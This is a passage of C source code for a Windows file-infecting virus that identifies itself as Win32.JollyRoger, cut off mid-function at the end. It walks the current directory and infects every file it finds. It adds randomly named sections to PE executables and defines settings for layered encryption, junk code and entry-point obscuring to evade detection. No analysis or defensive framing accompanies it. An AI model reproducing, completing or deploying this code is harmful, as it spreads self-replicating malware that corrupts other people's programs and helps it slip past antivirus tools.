int    size,
int    OffsetOfHostEntryOffset,
int    OffsetOfWormBinary,
int    sizeOfWormBinary)
{
    void *(__stdcall *FindFirstFileAz)(char*,WIN32_FIND_DATA*);
    unsigned int (__stdcall *FindNextFileAz)(void*,WIN32_FIND_DATA*);
    void (__stdcall *FindClosez)(void*);
    WIN32_FIND_DATA wfd;
    void * FindHand;
    char TempPath[MAX_PATH];
    char MaskPath[MAX_PATH];
    char * ptr=(void*)0;
    unsigned int i=0;

    if(!Path)
    {
        return 0;
    }

    while(i<MAX_PATH)
```

```
{
    TempPath[i]=Path[i];
    i++;

    if(!Path[i])
    {
        if(i+1<MAX_PATH)
        {
            if(TempPath[i-1]!='\\')
            {
                if(i+2<MAX_PATH)
                {
                    TempPath[i]='\\';
                    i++;
                    TempPath[i]=0;
                }
                else
                {
                    return 0;
                }
            }

            TempPath[i]='*';
            ptr=&TempPath[i];
            i++;
            TempPath[i]=0;
        }
        else
        {
            return 0;
        }

        break;
    }

    if(i+1==MAX_PATH)
    {
        return 0;
    }
}

i=0;
while(TempPath[i])
{
    MaskPath[i]=TempPath[i];
    i++;
}
MaskPath[i]=0;

if(!hKernel32)
{
    hKernel32=LoadLibraryAz("kernel32.dll");
    if(!hKernel32)
    {
        return 0;
    }
}

FindFirstFileAz = GetProcAddressz(hKernel32,"FindFirstFileA");
FindNextFileAz = GetProcAddressz(hKernel32,"FindNextFileA");
FindClosez = GetProcAddressz(hKernel32,"FindClose");

if(!FindFirstFileAz||!FindNextFileAz)
{
    return 0;
}

FindHand=FindFirstFileAz(MaskPath,&wfd);
```

```
    if(FindHand!=INVALID_HANDLE_VALUE)
    {
        do
        {
            i=0;
            while(wfd.cFileName[i])
            {
                if(ptr-TempPath+i>=MAX_PATH)
                {
                    i=0;
                    break;
                }

                ptr[i]=wfd.cFileName[i];
                i++;
            }
            if(!i)
            {
                continue;
            }
            ptr[i]=0;

            InfectFile
            (TempPath,
            AddrOfVirusBaseVxstart,
            size,
            OffsetOfHostEntryOffset,
            OffsetOfWormBinary,
            sizeOfWormBinary);

        }while (FindNextFileAz(FindHand, &wfd) != 0);

        if(FindClosez)
            FindClosez(FindHand);
    }

    return 1;
}


unsigned int InfectCurrentDirectory
(void * AddrOfVirusBaseVxstart,
int    size,
int    OffsetOfHostEntryOffset,
int    OffsetOfWormBinary,
int    sizeOfWormBinary)
{
    char curdir[MAX_PATH];
    unsigned int (__stdcall*GetCurrentDirectoryAz)(unsigned int,char *);

    if(!hKernel32)
    {
        hKernel32=LoadLibraryAz("kernel32.dll");

        if(!hKernel32)
        {
            return 0;
        }
    }

    GetCurrentDirectoryAz=GetProcAddressz(hKernel32,"GetCurrentDirectoryA");

    if(!GetCurrentDirectoryAz)
    {
        return 0;
    }
```

```
    GetCurrentDirectoryAz(MAX_PATH,curdir);

    if(curdir[0]!=0)
    {
        return InfectDirectory(curdir,
                               AddrOfVirusBaseVxstart,
                               size,
                               OffsetOfHostEntryOffset,
                               OffsetOfWormBinary,
                               sizeOfWormBinary);
    }

    return 0;
}



---------------------------------
---------------------------------
---------------------------------
---------------------------------

infectionmanager.h
------------------

#ifndef __INFECTION_MANAGER_H__
#define __INFECTION_MANAGER_H__

unsigned int InfectWithVirusBodyEncrypted(char * TargetPath,unsigned int
OffsetInTarget,unsigned int AvailableSizeInTarget,unsigned char *
VirusBody,unsigned int VirusBodySize,unsigned int *
VirusBodyFromOffsetInTarget,unsigned int OffsetOfHostEntryOffset);
unsigned int InfectSmall(char * TargetPath,void * AddrOfVirusBaseVxstart,int
size,int OffsetOfHostEntryOffset,int OffsetOfWormBinary,int sizeOfWormBinary);

/*
    This function should get the virus without body with Host Entry
    Address set to zero,for EPO support of loader.
*/
unsigned int InfectEPORawComplex(char * TargetPath,unsigned char * vx,unsigned
int    size,unsigned int TrashSize,unsigned int OffsetOfHostEntryOffset);
unsigned int InfectFile(char* TargetPath,void * AddrOfVirusBaseVxstart,int
size,int OffsetOfHostEntryOffset,int OffsetOfWormBinary,int sizeOfWormBinary);
unsigned int InfectDirectory(char* Path,void * AddrOfVirusBaseVxstart,int
size,int OffsetOfHostEntryOffset,int OffsetOfWormBinary,int sizeOfWormBinary);
unsigned int InfectCurrentDirectory(void * AddrOfVirusBaseVxstart,int size,int
OffsetOfHostEntryOffset,int OffsetOfWormBinary,int sizeOfWormBinary);

#define COMPLEX_METHOD_ONLY

#define VALID_E8_RATIO_MIN 2
#define VALID_E8_RATIO_MAX 10000

#define MAX_FAILS_FINDING_CALL 20

#define MIN_TRASH_SIZE  100 //k
#define MAX_TRASH_SIZE  1000 //k

#define MIN_LAYERS 10
#define MAX_LAYERS 20

#define CRAZY_MODE
#define CRAZY_MIN_SIZE 1000
#define CRAZY_MAX_SIZE 1000
#define CRAZY_MODE_LAYERS_RATIO 64
#define CRAZY_MIN_LAYERS 50
#define CRAZY_MAX_LAYERS 100
```

```
#define ADD_PRETRASH_RATIO 64

#define CAVITY_BRIDGE_RATIO 1000

//#define JOLLYDEBUGHOOKEDCALL
//#define JOLLYDEBUGLAYERS

#endif
```


---

lde32.c

```
// LDE32 interface

/*
unsigned char disasm_init_binary[]={
0x60,0x8B,0x7C,0x24,0x24,0xFC,0x33,0xC0,
0x50,0x50,0x50,0x68,0x00,0xA8,0xAA,0x02,
0x68,0x7F,0x68,0xFF,0x3F,0x68,0xA0,0xDE,
0xE6,0xFF,0x68,0xFF,0xFF,0xD5,0xDB,0x68,
0xAA,0xAA,0xFE,0xFF,0x68,0xAA,0xAA,0xAA,
0xAA,0x68,0x00,0x00,0xAA,0xAA,0x50,0x50,
0x50,0x50,0x50,0x50,0x68,0x54,0x01,0x00,
0x00,0x68,0x55,0xF5,0xFF,0x41,0x68,0xAA,
0xDD,0xDE,0x55,0x68,0x11,0x51,0x95,0x19,
0x68,0xFF,0x1F,0x11,0x11,0x68,0xAA,0xFF,
0x11,0xFA,0x68,0x96,0xCF,0x60,0x8E,0x68,
0xAA,0xD6,0x72,0xFC,0x68,0x88,0xAA,0xAA,
0xAA,0x68,0xD5,0x88,0x88,0x88,0x68,0x9B,
0x55,0x8D,0x52,0x68,0x53,0xD5,0x6C,0x36,
0x68,0xFF,0x55,0x55,0x35,0x68,0xF9,0xD6,
0xFE,0xFF,0x68,0x88,0x88,0x88,0x68,0x68,
0x88,0x88,0x88,0x88,0x68,0xCA,0x47,0x53,
0x8D,0x68,0xDF,0x7B,0xC6,0xDC,0x68,0xAA,
0xAA,0xAA,0xAA,0x68,0xAA,0xAA,0xAA,0xAA,
0x68,0xFD,0x4F,0xA9,0xAB,0x68,0xEA,0xFE,
0xA7,0xD4,0x68,0x29,0x75,0xFF,0x53,0x68,
0xFE,0xA7,0xA4,0xFF,0x68,0x4A,0xFA,0x9F,
0x92,0x68,0xFF,0x29,0xE9,0x7F,0xB9,0x00,
0x02,0x00,0x00,0x33,0xDB,0x33,0xC0,0xE8,
0x14,0x00,0x00,0x00,0xAB,0xE2,0xF6,0x61,
0xC3,0x0B,0xDB,0x75,0x07,0x5D,0x5E,0x5A,
0x56,0x55,0xB3,0x20,0x4B,0xD1,0xEA,0xC3,
0xE8,0xEC,0xFF,0xFF,0xFF,0x0F,0x83,0x7F,
0x00,0x00,0x00,0xE8,0xE1,0xFF,0xFF,0xFF,
0x73,0x03,0xB4,0x40,0xC3,0xE8,0xD7,0xFF,
0xFF,0xFF,0x72,0x57,0xE8,0xD0,0xFF,0xFF,
0xFF,0x73,0x4D,0xE8,0xC9,0xFF,0xFF,0xFF,
0x73,0x43,0xE8,0xC2,0xFF,0xFF,0xFF,0x72,
0x25,0xE8,0xBB,0xFF,0xFF,0xFF,0x73,0x03,
0xB0,0x20,0xC3,0xE8,0xB1,0xFF,0xFF,0xFF,
0x73,0x05,0x66,0xB8,0x02,0x20,0xC3,0xE8,
0xA5,0xFF,0xFF,0xFF,0x73,0x05,0x66,0xB8,
0x08,0x10,0xC3,0xB4,0x03,0xC3,0xE8,0x96,
0xFF,0xFF,0xFF,0x73,0x03,0xB4,0x60,0xC3,
0xE8,0x8C,0xFF,0xFF,0xFF,0x73,0x03,0xB0,
0x18,0xC3,0xB4,0x02,0xC3,0xB4,0x80,0xC3,
0xB4,0x01,0xC3,0xE8,0x79,0xFF,0xFF,0xFF,
0x73,0x0D,0xE8,0x72,0xFF,0xFF,0xFF,0x73,
0x03,0xB0,0x08,0xC3,0xB4,0x41,0xC3,0xB4,
0x20,0xC3,0xE8,0x62,0xFF,0xFF,0xFF,0x14,
0x00,0x48,0xC3};
```

```
unsigned char disasm_main_binary[]={
0x60,0x8B,0x74,0x24,0x24,0x8B,0x4C,0x24,
0x28,0x33,0xD2,0x33,0xC0,0x80,0xE2,0xF7,
0x8A,0x01,0x41,0x0B,0x14,0x86,0xF6,0xC2,
0x08,0x75,0xF2,0x3C,0xF6,0x74,0x36,0x3C,
0xF7,0x74,0x32,0x3C,0xCD,0x74,0x3B,0x3C,
0x0F,0x74,0x44,0xF6,0xC6,0x80,0x75,0x52,
0xF6,0xC6,0x40,0x75,0x73,0xF6,0xC2,0x20,
0x75,0x54,0xF6,0xC6,0x20,0x75,0x5C,0x8B,
0xC1,0x2B,0x44,0x24,0x28,0x81,0xE2,0x07,
0x07,0x00,0x00,0x02,0xC2,0x02,0xC6,0x89,
0x44,0x24,0x1C,0x61,0xC3,0x80,0xCE,0x40,
0xF6,0x01,0x38,0x75,0xCE,0x80,0xCE,0x80,
0xEB,0xC9,0x80,0xCE,0x01,0x80,0x39,0x20,
0x75,0xC1,0x80,0xCE,0x04,0xEB,0xBC,0x8A,
0x01,0x41,0x0B,0x94,0x86,0x00,0x04,0x00,
0x00,0x83,0xFA,0xFF,0x75,0xAD,0x8B,0xC2,
0xEB,0xCD,0x80,0xF6,0x20,0xA8,0x01,0x75,
0xA7,0x80,0xF6,0x21,0xEB,0xA2,0x80,0xF2,
0x02,0xF6,0xC2,0x10,0x75,0xA4,0x80,0xF2,
0x06,0xEB,0x9F,0x80,0xF6,0x02,0xF6,0xC6,
0x10,0x75,0x9C,0x80,0xF6,0x06,0xEB,0x97,
0x8A,0x01,0x41,0x8A,0xE0,0x66,0x25,0x07,
0xC0,0x80,0xFC,0xC0,0x0F,0x84,0x7B,0xFF,
0xFF,0xFF,0xF6,0xC2,0x10,0x75,0x2D,0x3C,
0x04,0x75,0x05,0x8A,0x01,0x41,0x24,0x07,
0x80,0xFC,0x40,0x74,0x17,0x80,0xFC,0x80,
0x74,0x0A,0x66,0x3D,0x05,0x00,0x0F,0x85,
0x59,0xFF,0xFF,0xFF,0x80,0xCA,0x04,0xE9,
0x51,0xFF,0xFF,0xFF,0x80,0xCA,0x01,0xE9,
0x49,0xFF,0xFF,0xFF,0x66,0x3D,0x06,0x00,
0x74,0x0E,0x80,0xFC,0x40,0x74,0xED,0x80,
0xFC,0x80,0x0F,0x85,0x35,0xFF,0xFF,0xFF,
0x80,0xCA,0x02,0xE9,0x2D,0xFF,0xFF,0xFF};
*/

void /*(**/DISASM_INIT/*)*/(void* tableptr);// = disasm_init_binary;
int  /*(**/DISASM_MAIN/*)*/(void* opcodeptr, void* tableptr);// =
disasm_main_binary;

unsigned char tbl[2048]={0};
unsigned int initialized=0;

void here_disasm_init()
{
    DISASM_INIT(tbl);
}

int __cdecl lde(void* x)
{
    if(!initialized)
    {
        here_disasm_init();
        initialized=1;
    }
    return DISASM_MAIN(x, tbl);
}


---------------------------------
---------------------------------
---------------------------------
---------------------------------

main.c
------
```

```
/*
About extra compiler options:

/Gs999999 -> we dont want imports in the dll, so we r ingoring standart
libraries and we use this switch for avoiding __chkstk calls. The
compiler adds this call before calling functions that need more
than 4k by default. With this switch we are saying it that we want
a call to this function only when the stack reservation was up to
999999 bytes.

Compilation line:
/nologo /MT /W3 /Zi /O1 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D
"_USRDLL" /D "A_EXPORTS" /Fr"debugdir/" /Fp"debugdir/a.pch" /YX /Fo"debugdir/"
/Fd"debugdir/" /Gs999999 /FD /c

About extra linking options:

/SECTION:.text,ERW /MERGE:.data=.text /MERGE:.rdata=.text: with this
we will merge sections.

/ALIGN:4096: with this we get a 512 bytes align in disk(smaller exe).

Linking line:
/nologo /base:"0" /entry:"DllMain" /dll /incremental:no /pdb:"debugdir/a.pdb"
/debug /machine:I386 /nodefaultlib /def:".\source\a.def" /out:"debugdir/a.dll"
/implib:"debugdir/a.lib" /SECTION:.text,ERW /MERGE:.data=.text
/MERGE:.rdata=.text /ALIGN:4096

*/

#include "pemanager.h"
#include "infectionmanager.h"
#include "helpful.h"



int internal_run
            (void * LoadLibrar_,
             void * GetProcAddres_,
             void * AddrOfVirusBaseVxstart,
             int    size,
             int    OffsetOfHostEntryOffset,
             int    OffsetOfWormBinary,
             int    sizeOfWormBinary);


typedef int (*tcompar)(const void *, const void *);

void * (__stdcall * LoadLibraryAz)(char *)=NULL;
void * (__stdcall * GetProcAddressz)(void *,char *)=NULL;
void * (__cdecl * fopenz)(char *,char *)=NULL;
void   (__cdecl * fclosez)(void *)=NULL;
unsigned int    (__cdecl * freadz)(void *,unsigned int,unsigned int,void
*)=NULL;
unsigned int    (__cdecl * fwritez)(void *,unsigned int,unsigned int,void
*)=NULL;
int    (__cdecl * fseekz)(void *,unsigned int,unsigned int)=NULL;
void   (__stdcall * FreeLibraryz)(void *)=NULL;
unsigned int    (__cdecl * ftellz)(void *)=NULL;
void   (__cdecl * srandz)(unsigned int)=NULL;
unsigned int (__cdecl * randz)()=NULL;
unsigned int (__stdcall * GetTickCountz)()=NULL;
void * (__stdcall *HeapCreatez)(unsigned int ,unsigned int,unsigned int)=NULL;
void * (__stdcall *HeapAllocz)(void *,unsigned int,unsigned int)=NULL;
int    (__stdcall * HeapFreez)(void *,unsigned int,void *)=NULL;
int    (__stdcall * HeapDestroyz)(void *)=NULL;
void * (__cdecl * callocz)(unsigned int,unsigned int)=NULL;
```

```
void   (__cdecl * freez)(void *)=NULL;
void   (__cdecl * qsortz)(void *, unsigned int , unsigned int ,tcompar )=NULL;
int    (__stdcall * MessageBoxAz)(int,char*,char*,int)=NULL;
void   *hUser32=NULL;
int    (__stdcall * GetLastErrorz)()=NULL;


void * hMsvcrt=NULL;
void * hKernel32=NULL;

unsigned int Registers[4];


int __stdcall DllMain(void * a, unsigned b, void * c)
{
    return 1;
}


static void FreeLib(void * a)
{
    if(FreeLibraryz)
    {
        FreeLibraryz(a);
    }
}

__declspec(dllexport) int __stdcall run
                                    (void * LoadLibrar_,
                                     void * GetProcAddres_,
                                     void * AddrOfVirusBaseVxstart,
                                     int    size,
                                     int    OffsetOfHostEntryOffset,
                                     int    OffsetOfWormBinary,
                                     int    sizeOfWormBinary)
{
    __asm
    {
        lea eax,[Registers]
        mov [eax],ebx
        mov [eax+4],ebp
        mov [eax+8],esi
        mov [eax+12],edi
    }

    internal_run(LoadLibrar_,GetProcAddres_,AddrOfVirusBaseVxstart,
                size,OffsetOfHostEntryOffset, OffsetOfWormBinary,
                sizeOfWormBinary);

    __asm
    {
        lea eax,[Registers]
        mov ebx,[eax]
        mov ebp,[eax+4]
        mov esi,[eax+8]
        mov edi,[eax+12]

    }

    return 0;
}

int internal_run
                (void * LoadLibrar_,
                 void * GetProcAddres_,
                 void * AddrOfVirusBaseVxstart,
                 int    size,
                 int    OffsetOfHostEntryOffset,
```

```
                int    OffsetOfWormBinary,
                int    sizeOfWormBinary)
{
    if(!LoadLibrar_ || !GetProcAddres_)
    {
        return 0;
    }

    LoadLibraryAz = LoadLibrar_;
    GetProcAddressz = GetProcAddres_;

    hUser32=LoadLibraryAz("user32.dll");
    if(hUser32)
    {
        if(MessageBoxAz=GetProcAddressz(hUser32,"MessageBoxA"))
        {
            MessageBoxAz(0,"This file is infected with Win32.JollyRoger\n"\
                           "          a92/ZellaV yB dEdoC",
                          "Win32.JollyRoger",0);
        }
    }

    if(!(hMsvcrt = LoadLibraryAz("msvcrt.dll")))
    {
#ifdef _DEBUG
        MessageBoxAz(0,"Failed Loading msvcrt",
                       "Failed Loading msvcrt",0);
#endif
        return 0;
    }

    if(hKernel32 = LoadLibraryAz("kernel32.dll"))
    {
        FreeLibraryz=GetProcAddressz(hKernel32,"FreeLibrary");
        GetTickCountz=GetProcAddressz(hKernel32,"GetTickCount");
    }

    if(!(
       (fopenz=GetProcAddressz(hMsvcrt,"fopen"))   &&
       (fclosez=GetProcAddressz(hMsvcrt,"fclose")) &&
       (freadz=GetProcAddressz(hMsvcrt,"fread"))   &&
       (fwritez=GetProcAddressz(hMsvcrt,"fwrite")) &&
       (fseekz=GetProcAddressz(hMsvcrt,"fseek"))   &&
       (ftellz=GetProcAddressz(hMsvcrt,"ftell"))   &&
       (callocz=GetProcAddressz(hMsvcrt,"calloc")) &&
       (freez=GetProcAddressz(hMsvcrt,"free"))     &&
       (qsortz=GetProcAddressz(hMsvcrt,"qsort"))
       ))
    {

#ifdef _DEBUG
        MessageBoxAz(0,"Failed Loading apis from msvcrt",
                       "Failed Loading apis from msvcrt",0);
#endif

        FreeLib(hMsvcrt);
        FreeLib(hKernel32);
#ifdef _DEBUG
        FreeLib(hUser32);
#endif
        return 0;
    }

#ifdef _DEBUG
    GetLastErrorz=GetProcAddressz(hKernel32,"GetLastError");
#endif

    if(!(
```

```
       (HeapFreez=GetProcAddressz(hKernel32,"HeapFree"))    &&
       (HeapCreatez=GetProcAddressz(hKernel32,"HeapCreate"))&&
       (HeapAllocz=GetProcAddressz(hKernel32,"HeapAlloc"))  &&
       (HeapDestroyz=GetProcAddressz(hKernel32,"HeapDestroy"))
       ))
    {
#ifdef _DEBUG
        MessageBoxAz(0,"Failed Loading apis from kernel",
                       "Failed Loading apis from kernel",0);
#endif

        FreeLib(hMsvcrt);
        FreeLib(hKernel32);
#ifdef _DEBUG
        FreeLib(hUser32);
#endif
        return 0;
    }

    randz = GetProcAddressz(hMsvcrt,"rand");
    srandz = GetProcAddressz(hMsvcrt,"srand");

#ifdef _DEBUG
    MessageBoxAz(0,"All apis found","All apis found",0);
#endif

    InfectCurrentDirectory
    (AddrOfVirusBaseVxstart,
     size,
     OffsetOfHostEntryOffset,
     OffsetOfWormBinary,
     sizeOfWormBinary);

    FreeLib(hMsvcrt);
    FreeLib(hKernel32);
#ifdef _DEBUG
    FreeLib(hUser32);
#endif

    return 0;
}


---------------------------------
---------------------------------
---------------------------------
---------------------------------

pemanager.c
-----------

#include "pemanager.h"
#include <windows.h>
#include <stdio.h>
#include "apis.h"
#include "helpful.h"

#define GETENTRYPOINTRVA_SIZE_A
(sizeof(IMAGE_NT_HEADERS)-sizeof(IMAGE_OPTIONAL_HEADER)+0x16)
#define GETENTRYPOINTRVA_SIZE_B (sizeof(IMAGE_DOS_HEADER))
//0 if A>=B, 1 if A<B
#define GETENTRYPOINTRVATEMP1
(((GETENTRYPOINTRVA_SIZE_A-GETENTRYPOINTRVA_SIZE_B)&0x80000000)>>31)
//MAX(A,B)
#define GETENTRYPOINTRVA_SIZE
((GETENTRYPOINTRVATEMP1*(GETENTRYPOINTRVA_SIZE_B-GETENTRYPOINTRVA_SIZE_A))+GETEN
TRYPOINTRVA_SIZE_A)
```

```
unsigned int GetHeaders(char * TargetPath,tHeaders * headers)
{
    FILE * f=NULL;

    if((f=fopenz(TargetPath,"r+b"))&&
       !fseekz(f,0,SEEK_SET)&&
       freadz(&headers->doshdr,sizeof(IMAGE_DOS_HEADER),1,f)&&
       !fseekz(f,headers->doshdr.e_lfanew,SEEK_SET)&&
       freadz(&headers->nthdrs,sizeof(IMAGE_NT_HEADERS),1,f)&&

freadz(&headers->sechdrs,sizeof(IMAGE_SECTION_HEADER)*(headers->nthdrs.FileHeade
r.NumberOfSections),1,f))
    {
        fclosez(f);
        return 1;
    }

    if(f)
    {
        fclosez(f);
    }

    return 0;
}


unsigned int GetEntryPointRVA(char * filename)
{
    void * f;
    IMAGE_DOS_HEADER * doshdr;
    IMAGE_NT_HEADERS * nthdrs;
    char tempbuf[GETENTRYPOINTRVA_SIZE];
    unsigned int retRVA=0;

    doshdr = (IMAGE_DOS_HEADER*)tempbuf;
    nthdrs = (IMAGE_NT_HEADERS*)tempbuf;

    if(f = fopenz(filename,"rb"))
    {
        if(freadz(tempbuf,1,GETENTRYPOINTRVA_SIZE,f)==GETENTRYPOINTRVA_SIZE)
        {
            if(doshdr->e_magic=='MZ'||doshdr->e_magic=='ZM')
            {
                fseekz(f,doshdr->e_lfanew,SEEK_SET);


if(freadz(tempbuf,1,GETENTRYPOINTRVA_SIZE,f)==GETENTRYPOINTRVA_SIZE)
                {
                   if(nthdrs->Signature==0x00004550)
                   {
                      retRVA=nthdrs->OptionalHeader.AddressOfEntryPoint;
                   }
                }
            }
        }
        fclosez(f);
    }
    return retRVA;
}

unsigned int OffsetToVA(tHeaders * headers,unsigned int offset)
{
    int i=0;

for(i=0;offset>=headers->sechdrs[i].PointerToRawData+headers->sechdrs[i].SizeOfR
awData;i++)
    {
```

```
        __asm nop;
    }
    return
offset-headers->sechdrs[i].PointerToRawData+headers->sechdrs[i].VirtualAddress+h
eaders->nthdrs.OptionalHeader.ImageBase;
}

unsigned int OffsetToRVA(tHeaders * headers,unsigned int offset)
{
    int i=0;

for(i=0;offset>=headers->sechdrs[i].PointerToRawData+headers->sechdrs[i].SizeOfR
awData;i++)
    {
        __asm nop;
    }
    return
offset-headers->sechdrs[i].PointerToRawData+headers->sechdrs[i].VirtualAddress;
}

unsigned int RVAToOffset(tHeaders * headers,unsigned int RVA)
{
    int i=0;

for(i=0;RVA>=headers->sechdrs[i].VirtualAddress+headers->sechdrs[i].SizeOfRawDat
a;i++)
    {
        __asm nop;
    }
    return
RVA-headers->sechdrs[i].VirtualAddress+headers->sechdrs[i].PointerToRawData;
}

unsigned int AddSection(char * TargetPath,unsigned int SizeOfSection,int
TypeOfSection)
{
    FILE * f=NULL;
    char temp[2048];
    IMAGE_DOS_HEADER * doshdr=NULL;
    IMAGE_NT_HEADERS * nthdr=NULL;
    unsigned int nSections=0;
    IMAGE_SECTION_HEADER Sections[50+1];
    unsigned int OffsetNtHdr=0;
    unsigned int i=0;
    unsigned int CurOffset=0;
    unsigned int NewSectionOffset=0;
    unsigned int AlignedSizeOfSection=0;

    if(!TargetPath)
    {
        return 0;
    }

    if(f = fopenz(TargetPath,"r+b"))
    {
        if(freadz(temp,sizeof(IMAGE_DOS_HEADER),1,f)&&
           ((temp[0]=='M'&&temp[1]=='Z')||(temp[1]=='M'&&temp[0]=='Z')))
        {
            doshdr = (IMAGE_DOS_HEADER *)temp;
            OffsetNtHdr=doshdr->e_lfanew;
            fseekz(f,doshdr->e_lfanew,SEEK_SET);
            nthdr = (IMAGE_NT_HEADERS *)temp;

            if(freadz(temp,sizeof(IMAGE_NT_HEADERS),1,f)&&
               (nthdr->Signature == 0x00004550))
            {
                nSections = nthdr->FileHeader.NumberOfSections;
```

```
                if((nSections < 50)&&
                   (nSections==(unsigned
int)freadz(Sections,sizeof(IMAGE_SECTION_HEADER),nSections,f)))
                {

if((Sections[0].PointerToRawData-ftellz(f))>=sizeof(IMAGE_SECTION_HEADER))
                    {
                        //Enought space for writing a section header


for(i=GenerateRandomNumberWithShortRange(1,8),Sections[nSections].Name[i]=0;i;i-
-)
                            Sections[nSections].Name[i-1] =
GenerateRandomCharacter();

                        AlignedSizeOfSection =
(SizeOfSection+nthdr->OptionalHeader.FileAlignment-1)&~(nthdr->OptionalHeader.Fi
leAlignment-1);

                        CurOffset=ftellz(f);
                        fseekz(f,0,SEEK_END);
                        NewSectionOffset=ftellz(f);

NewSectionOffset=(NewSectionOffset+nthdr->OptionalHeader.FileAlignment-1)&~(nthd
r->OptionalHeader.FileAlignment-1);
                        fseekz(f,NewSectionOffset,SEEK_SET);

                        Sections[nSections].PointerToRawData=NewSectionOffset;


fseekz(f,NewSectionOffset+AlignedSizeOfSection-1,SEEK_SET);
                        i=0;
                        fwritez(&i,1,1,f);
                        Sections[nSections].SizeOfRawData=AlignedSizeOfSection;
                        Sections[nSections].NumberOfRelocations=0;
                        Sections[nSections].NumberOfLinenumbers=0;
                        Sections[nSections].PointerToRelocations=0;
                        Sections[nSections].PointerToLinenumbers=0;
                        Sections[nSections].Misc.VirtualSize =  SizeOfSection;
                        Sections[nSections].VirtualAddress =
(Sections[nSections-1].VirtualAddress+Sections[nSections-1].Misc.VirtualSize+nth
dr->OptionalHeader.SectionAlignment-1)&~(nthdr->OptionalHeader.SectionAlignment-
1);
//Sections[nSections-1].VirtualAddress+(((Sections[nSections-1].Misc.VirtualSize
/nthdr->OptionalHeader.SectionAlignment)+1)*nthdr->OptionalHeader.SectionAlignme
nt);

                        if(TypeOfSection==SECTION_TYPE_CODE)
                        {
                            Sections[nSections].Characteristics = 0x60000020;

//nthdr->OptionalHeader.SizeOfCode+=Sections[nSections].Misc.VirtualSize;
                        }
                        else if(TypeOfSection==SECTION_TYPE_DATA)
                        {
                            Sections[nSections].Characteristics = 0xC0000040;

//nthdr->OptionalHeader.SizeOfInitializedData+=Sections[nSections].Misc.VirtualS
ize;
                        }
                        else
                        {
                            Sections[nSections].Characteristics = 0xE0000040;

//nthdr->OptionalHeader.SizeOfInitializedData+=Sections[nSections].Misc.VirtualS
ize;

                        }
```

```
                        fseekz(f,CurOffset,SEEK_SET);

fwritez(&Sections[nSections],sizeof(IMAGE_SECTION_HEADER),1,f);

                        fseekz(f,OffsetNtHdr,SEEK_SET);
                        nthdr->FileHeader.NumberOfSections++;

nthdr->OptionalHeader.SizeOfImage=Sections[nSections].VirtualAddress+Sections[nS
ections].Misc.VirtualSize;
                        fwritez(nthdr,sizeof(IMAGE_NT_HEADERS),1,f);
                        fclosez(f);
                        return Sections[nSections].PointerToRawData;

                    }

                }

            }

        }

        fclosez(f);
    }

    return 0;
}

void MemCpy(unsigned char *a,unsigned char *b,unsigned int c)
{
    unsigned int i=0;

    for(i=0;i<c;i++)
    {
        a[i]=b[i];
    }
}

//
// Section characteristics.
//
//      IMAGE_SCN_TYPE_REG                  0x00000000  // Reserved.
//      IMAGE_SCN_TYPE_DSECT                0x00000001  // Reserved.
//      IMAGE_SCN_TYPE_NOLOAD               0x00000002  // Reserved.
//      IMAGE_SCN_TYPE_GROUP                0x00000004  // Reserved.
#define IMAGE_SCN_TYPE_NO_PAD               0x00000008  // Reserved.
//      IMAGE_SCN_TYPE_COPY                 0x00000010  // Reserved.

#define IMAGE_SCN_CNT_CODE                  0x00000020  // Section contains
code.
#define IMAGE_SCN_CNT_INITIALIZED_DATA      0x00000040  // Section contains
initialized data.
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA    0x00000080  // Section contains
uninitialized data.

#define IMAGE_SCN_LNK_OTHER                 0x00000100  // Reserved.
#define IMAGE_SCN_LNK_INFO                  0x00000200  // Section contains
comments or some other type of information.
//      IMAGE_SCN_TYPE_OVER                 0x00000400  // Reserved.
#define IMAGE_SCN_LNK_REMOVE                0x00000800  // Section contents
will not become part of image.
#define IMAGE_SCN_LNK_COMDAT                0x00001000  // Section contents
comdat.
//                                          0x00002000  // Reserved.
//      IMAGE_SCN_MEM_PROTECTED - Obsolete  0x00004000
#define IMAGE_SCN_NO_DEFER_SPEC_EXC         0x00004000  // Reset speculative
exceptions handling bits in the TLB entries for this section.
#define IMAGE_SCN_GPREL                     0x00008000  // Section content can
```

```
be accessed relative to GP
#define IMAGE_SCN_MEM_FARDATA                0x00008000
//      IMAGE_SCN_MEM_SYSHEAP  - Obsolete    0x00010000
#define IMAGE_SCN_MEM_PURGEABLE              0x00020000
#define IMAGE_SCN_MEM_16BIT                  0x00020000
#define IMAGE_SCN_MEM_LOCKED                 0x00040000
#define IMAGE_SCN_MEM_PRELOAD                0x00080000

#define IMAGE_SCN_LNK_NRELOC_OVFL            0x01000000  // Section contains
extended relocations.
#define IMAGE_SCN_MEM_DISCARDABLE            0x02000000  // Section can be
discarded.
#define IMAGE_SCN_MEM_NOT_CACHED             0x04000000  // Section is not
cachable.
#define IMAGE_SCN_MEM_NOT_PAGED              0x08000000  // Section is not
pageable.
#define IMAGE_SCN_MEM_SHARED                 0x10000000  // Section is
shareable.
#define IMAGE_SCN_MEM_EXECUTE                0x20000000  // Section is
executable.
#define IMAGE_SCN_MEM_READ                   0x40000000  // Section is readable.
#define IMAGE_SCN_MEM_WRITE                  0x80000000  // Section is
writeable.


static void ZeroMem(unsigned char * a,unsigned int b)
{
    unsigned int i=0;

    for(i=0;i<b;i++)
    {
        a[i]=0;
    }
}


unsigned int MergeSections(char * TargetPath,unsigned int * CavityRVA,unsigned
int * CavitySize)
{
    void *f;
    IMAGE_DOS_HEADER doshdr;
    IMAGE_NT_HEADERS nthdrs;
    unsigned int nSections=0;
    IMAGE_SECTION_HEADER * Sections=(void*)0;
    unsigned int i=0;
    unsigned char * MergedSection=(void*)0;
    unsigned int MergedSectionsAllocatedMemorySize=0;
    unsigned char * p;
    unsigned int SectionsOffset=0;

    f=fopenz(TargetPath,"r+b");

    if(!f)
    {
        return 0;
    }

    if(!freadz(&doshdr,sizeof(IMAGE_DOS_HEADER),1,f))
    {
        fclosez(f);
        return 0;
    }

    fseekz(f,doshdr.e_lfanew,SEEK_SET);

    if(!freadz(&nthdrs,sizeof(IMAGE_NT_HEADERS),1,f))
    {
        fclosez(f);
```

```
        return 0;
    }

    nSections = nthdrs.FileHeader.NumberOfSections;
    Sections = mallocz(sizeof(IMAGE_SECTION_HEADER)*nSections);

    if(!Sections)
    {
        fclosez(f);
        return 0;
    }

    SectionsOffset=ftellz(f);

    if(freadz(Sections,sizeof(IMAGE_SECTION_HEADER),nSections,f)!=nSections)
    {
        fclosez(f);
        freez(Sections);
        return 0;
    }


